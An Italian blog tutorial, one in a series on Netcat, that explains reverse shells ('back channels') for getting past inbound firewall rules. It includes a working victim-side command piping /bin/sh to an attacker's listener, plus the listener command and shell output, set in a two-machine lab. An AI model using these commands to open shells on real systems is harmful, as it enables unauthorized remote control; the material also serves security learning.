Back Channel con Netcat

Abbiamo visto come creare una backdoor con Netcat: si apre una porta Tcp e ci collega la shell di sistema, quindi ci si collega da remoto.
Però non sempre le cose vanno così lisce. Per esempio il firewall potrebbe rifiutare tentativi di connessione da fuori.

In questo caso per poter prendere il controllo del sistema si può utilizzare un back-channel. Il back-channel è un canale che parte dalla macchina remota e termina sul nostro computer.Con un back-channel sarà l’host sotto attacco a collegarsi a noi, e sul nostro computer apparirà la shell del computer remoto.

Per spiegare come fare a utilizzare netcat come back-channel mostro un esempio sfruttando due computer: il computer dell’hacker su cui gira Windows XP, e la quello della vittima su cui invece è installato Linux Ubuntu.

La macchina dell’attacker ha l’indirizzo Ip 192.168.132.1, la vittima 192.168.132.130.

Per prima cosa apro il prompt dei comandi e metto netcat in ascolto sulla porta 9999:

C:\Documents and Settings\angelor>nc -l -p 9999 -vv

l’opzione -l mette netcat in ascolto, il parametro -p specifica la porta Tcp.

Sull’altro computer su cui come ho detto gira Linux Ubuntu, digito il seguente comando:

angelor@daikengo:~$ nc 192.168.132.1 9999 -e /bin/sh -vv

nei parametri viene specificato l’Ip del computer dell’attacker (192.168.132.1) e la porta; con l’opzione -e si esegue la shell di sistema /bin/sh. Però l’output verrà indirizzato sul canale aperto Tcp aperto con l’altro computer e non in locale:

(UNKNOWN) [192.168.132.1] 9999 (?) open

questo messaggio indica che il computer dell’hacker ha accettato la connessione. Dall’altra parte, sul computer dell’hacker:

192.168.132.130: inverse host lookup failed: h_errno 11004: NO_DATA

connect to [192.168.132.1] from (UNKNOWN) [192.168.132.130] 36156: NO_DATA

questo indica che il computer remoto (Ubuntu, 192.168.132.130) ha aperto una connessione verso questo computer. A questo punto non rimane che digitare comandi: comandi Linux naturalmente!

wUSER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
angelor  pts/0    :0.0             22:15   23.00s  0.32s  0.00s sh

uname -a
Linux daikengo 2.6.24-19-generic #1 SMP Wed Jun 18 22:43:41 UTC 2008 i686 GNU/Linux

ls / -al
drwxr-xr-x  21 root root  4096 2008-08-24 17:52 .
drwxr-xr-x  21 root root  4096 2008-08-24 17:52 ..
drwxr-xr-x   2 root root  4096 2008-08-24 17:53 bin
drwxr-xr-x   3 root root  4096 2008-08-24 17:52 boot
lrwxrwxrwx   1 root root    11 2008-08-24 17:43 cdrom -> media/cdrom
drwxr-xr-x  10 root root 13700 2008-11-25 10:14 dev
drwxr-xr-x 120 root root  4096 2008-11-25 10:15 etc
drwxr-xr-x   3 root root  4096 2008-08-24 17:48 home
drwxr-xr-x   2 root root  4096 2008-07-02 12:16 initrd
lrwxrwxrwx   1 root root    33 2008-08-24 17:52 initrd.img -> boot/initrd.img-2.6.24-19-generic
drwxr-xr-x  16 root root  4096 2008-08-24 17:53 lib
drwx------   2 root root 16384 2008-08-24 17:43 lost+found
drwxr-xr-x   4 root root  4096 2008-07-02 12:16 media
drwxr-xr-x   2 root root  4096 2008-04-15 07:53 mnt
drwxr-xr-x   2 root root  4096 2008-07-02 12:16 opt
dr-xr-xr-x 116 root root     0 2008-11-25 10:13 proc
drwxr-xr-x   3 root root  4096 2008-08-24 17:52 root
drwxr-xr-x   2 root root  4096 2008-08-24 17:53 sbin
drwxr-xr-x   2 root root  4096 2008-07-02 12:16 srv
drwxr-xr-x  12 root root     0 2008-11-25 10:13 sys
drwxrwxrwt  13 root root  4096 2008-11-25 10:19 tmp
drwxr-xr-x  11 root root  4096 2008-07-02 12:18 usr
drwxr-xr-x  15 root root  4096 2008-07-02 12:34 var
lrwxrwxrwx   1 root root    30 2008-08-24 17:52 vmlinuz -> boot/vmlinuz-2.6.24-19-generic

Naturalmente tutto questo funziona se il firewall permette connessioni in uscita (in genere lo permette).

Questo articolo fa parte della serie “Le 7 Vite di Netcat“. Potrai trovare altre informazioni su Netcat negli altri articoli della serie:

  • Back Channel con Netcat

2 Commenti

1 Trackback / Pingback

  1. [Video] Aurora in Azione | Scena Warez

I commenti sono bloccati.